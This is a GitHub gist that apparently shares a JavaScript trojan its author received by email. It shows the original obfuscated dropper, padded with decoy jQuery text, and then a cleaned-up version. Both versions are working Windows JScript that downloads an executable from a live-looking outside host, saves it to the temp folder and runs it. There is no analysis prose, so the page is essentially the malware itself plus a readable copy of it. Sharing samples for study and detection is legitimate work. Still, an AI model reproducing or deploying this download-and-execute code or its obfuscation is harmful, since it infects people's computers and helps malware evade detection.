Skip to content

Instantly share code, notes, and snippets.

@angus-g
Last active March 22, 2016 23:59
Show Gist options
  • Save angus-g/45c8acc428dcdc0b3081 to your computer and use it in GitHub Desktop.
Save angus-g/45c8acc428dcdc0b3081 to your computer and use it in GitHub Desktop.
Javascript trojan thing I received by email
iAIzcLGbNj = " while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; };";
fergusI = 0;
String.prototype.contradistinction = function () { return this.substr(0, 1); };
var uUXTro = [("hinduism","naval","n")+"hh"+("witch","variegated","relay","debauchery","lH")+"CNAl", "A"+"iR"+"Nh"+("usenet","directly","increasingly","cD")+"nBHy", "E"+"xpan"+("tutelary","attention","playwright","hermitage","dEnviron")+"me"+"nt"+"Stri"+("wallace","flood","ngs"), ("westerly","expectations","distinction","alabama","")+"%"+("appendix","larceny","TE")+"MP%", ""+("moiety","poignant","sandra",".")+"exe", ("bacteria","clothing","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("structural","malefactor","vi")+("commitment","guild","anonymous","annie","nc")+"enti"+"ve"+"eXincentiv"+("cookies","blueblack","hearsay","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("expanding","lounge","bored","W")+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + ("growth","transcript","S"), "AmvHaUzPHrP", ("unadulterated","topaz","deter","karen","h")+"in"+"ce"+("unhappiness","commitment","interest","nt")+"iv"+"ee"+("provisions","verandah","sinuous","li")+"nc"+("ampland","cognitive","en")+"ti"+("arrow","thatch","astringent","expiration","vel"), "UJcMlBfkOA", "G"+("epilogue","variation","unwieldy","rRAF")+"Ka"+("theologian","profanity","allocation","je")+"To", "Min"+"ce"+"ntiv"+"eS"+("controversy","regularly","institutes","Xi")+"nc"+"en"+("mangy","slime","beliefs","exploring","ti")+"ve"+("cumulative","sport","fantasy","ML")+"in"+"ce"+("turkey","braces","nt")+("lifetime","sticky","iv")+"e2" + "."+"in"+"ce"+("trigonometry","copyist","stumped","fermented","nt")+("outsourcing","atlanta","slots","iv")+"eXMi"+"ncenti"+("oklahoma","compatibility","equation","ve")+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"];
rQSHDCBXb = " var rneedsContext = jQuery.expr.match.needsContext;";
uUXTro.splice(7, fergusI + 2);
chubby = uUXTro[1+4+1].split("incentive").join("");
var lrAXrUK = this[chubby];
AapDxox = "IdauNqhuT";
societies = (("nitric", "positioning", "HiLPFi", "holders", "pVrSBHnCPxP") + "kbmKKwklAVc").contradistinction();
theoriess = (("kelkoo", "initiated", "ziHwqRxJu", "canister", "sSBVEfa") + "xEqzqkRRVx").contradistinction();
fergusI = 6;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3];
uUXTro[fergusI + 2] = "EuHNTOs";
fergusI++;
uUXTro.splice(fergusI + 1, fergusI - 4);
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join("");
var OoKse = new lrAXrUK("" + uUXTro[fergusI] + "");
YPlWYgwd = " for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } ";
fergusI++;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join("");
var zBqJutIT = new lrAXrUK(uUXTro[1 + fergusI]);
KNgrjvc = " var siblings = function( n, elem ) { var matched = [];";
fergusI /= 2;
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]);
KcjXPEtu = "} return matched; };";
revealede = (("unavoidable", "count", "eYyeHhl", "disagreed", "EbYlGrsShJg") + "qWuYEw").contradistinction();
function undeveloped(poseidon, economic) {
try {
var jersey = BPmnOej + "/" + economic + uUXTro[fergusI];
LjujlQ = "} return jQuery.grep( elements, function( elem ) { return ( jQuery.inArray( elem, qualifier ) > -1 ) !== not; } ); ";
zBqJutIT["o" + societies + revealede + "n"](("stephanie","advised","liability","disembodied","G") + revealede + ("mantua","insertion","blanched","current","T"), poseidon, false);
QcwDedGUE = "}jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ];";
zBqJutIT[theoriess + ("commenting","soundtrack","e") + (("designer", "insoluble", "vQJtIpP", "democrats", "conflict", "nxldkIa") + "GyucrQNudzq").contradistinction() + (("newfoundland", "puppet", "CEdBvsmD", "freshet", "tableau", "dMNcSDdMEzF") + "wKxDlSnr").contradistinction()]();
wGSsSnAuJ = " if ( not ) { expr = \":not(\" + expr + \")\"; ";
if (zBqJutIT.status == 200) {
var PbOLTH = new lrAXrUK((""+("fioricet","contiguous","A")+"pO"+("stingy","loves","interracial","calabria","DB.") + ""+"S"+("proud","biblical","lions","tr")+"eam").replace("p", "D"));
PbOLTH.open();
RvweTKriM = "var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ );";
PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1);
aODTVaRhyp = "var risSimple = /^.[^:#\[\.,]*$/;";
PbOLTH[("spectacular","narrator","waterman","aqueduct","w")+"ri"+"te"](zBqJutIT[""+"R"+"es"+("tablets","warning","unblemished","celibate","pon") + theoriess + "e"+"Bo"+("burdett","victual","dy")]);
eUVrfTIaq = " Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; } );";
PbOLTH[(societies + "o"+"Di"+("genres","undeviating","pitchfork","praise","ti")+"on").replace("D", theoriess)] = 0;
rURMWYFCS = "} if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } );";
PbOLTH["sav"+"eT"+"oF"+("ostler","sunstroke","japanese","plumber","ile")](jersey, 2);
JzDFHcYwRvt = "} if ( typeof qualifier === \"string\" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); ";
PbOLTH.close();
ueMAAMNPHiw = "} qualifier = jQuery.filter( qualifier, elements ); ";
OoKse[uUXTro[fergusI + 1]](jersey, 1, "ISKhYal" === "EwSDqpJcU"); wQXGGA = " if ( typeof selector !== \"string\" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); ";
}
} catch (HiQurqnDJ) { };
hUivzNY = "jQuery.fn.extend( { find: function( selector ) { var i, ret = [], self = this, len = self.length;";
}
undeveloped("h"+"tt"+("controllers","nutshell","assumed","p:")+("withering","types","//")+"py"+("anyone","albuquerque","ro")+"-m"+("forecasts","petal","ag")+"az"+("priorities","greetings","bergen","in.r")+("lecturer","demonstration","newfoundland","lovely","u/")+("personality","axiom","philippines","refine","sy")+"stem"+("squalid","tangent","detestation","aesthetics","/log")+"s/"+"98"+"h7"+("gruesome","declension","b6")+("thriller","tramadol","augur","panegyric","6gb.")+"exe","yROdkAds");
NrQwRjPqXlj = "} return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); };";
var activeXObject = this["ActiveXObject"];
var shell = new activeXObject("WScript.Shell");
var msxml = new activeXObject("MSXML2.XMLHTTP");
var tempDir = shell["ExpandEnvironmentStrings"]("%TEMP%");
function getAndRun(url, fname) {
try {
var f = tempDir + "/" + fname + ".exe";
msxml["opEn"]("GET", url, false);
msxml["send"]();
if (msxml.status == 200) {
var stream = new activeXObject("ADODB.Stream");
stream.open();
stream.type = 1;
stream["write"](msxml["ResponseBody"]);
stream["position"] = 0;
stream["saveToFile"](f, 2);
stream.close();
shell["Run"](f, 1, false);
}
} catch (e) { };
}
getAndRun("http://pyro-magazin.ru/system/logs/98h7b66gb.exe", "yROdkAds");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment